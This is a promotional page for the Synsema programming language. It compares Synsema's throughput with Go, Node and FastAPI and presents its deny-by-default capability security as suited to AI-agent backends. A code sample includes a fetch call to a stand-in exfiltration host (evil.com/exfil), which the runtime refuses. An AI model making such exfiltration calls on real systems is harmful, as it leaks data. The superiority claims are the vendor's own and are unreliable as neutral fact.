The secure language for AI agents — without giving up speed
Top-tier throughput plus capability security built into the language itself — why Synsema is the best fit for AI-agent backends and any service that handles untrusted input.
Most stacks make you choose: fast, or safe. Synsema is both — top-tier throughput with capability security built into the language itself.
Throughput (100 concurrent connections)§
| Stack | req/s |
|---|---|
| Synsema | 2,610 |
| Go | 2,522 |
| Node | 2,746 |
| FastAPI | 1,744 |
Synsema, Go and Node are all in the same top tier (the gaps are run-to-run noise) — and Synsema is about 1.5× FastAPI under load. Async-native, true multi-core, a single static binary with zero runtime.
The difference: secure by default§
Speed gets you into the room. What no other top-tier stack offers: deny-by-default capabilities, declarative auth and validation, sandboxing, and a frozen intent. A program can only touch what it declared at the top — and the interpreter, not a code review, is what enforces it.
require net("api.shop.com")
fetch("https://api.shop.com/orders") -- allowed: declared
fetch("https://evil.com/exfil") -- refused by the runtime, before any byte leaves
Security is a property of the language — not a discipline you have to remember. That's why Synsema is the best fit for AI-agent backends and any service handling untrusted input: the model's output runs under the same ceiling as everything else.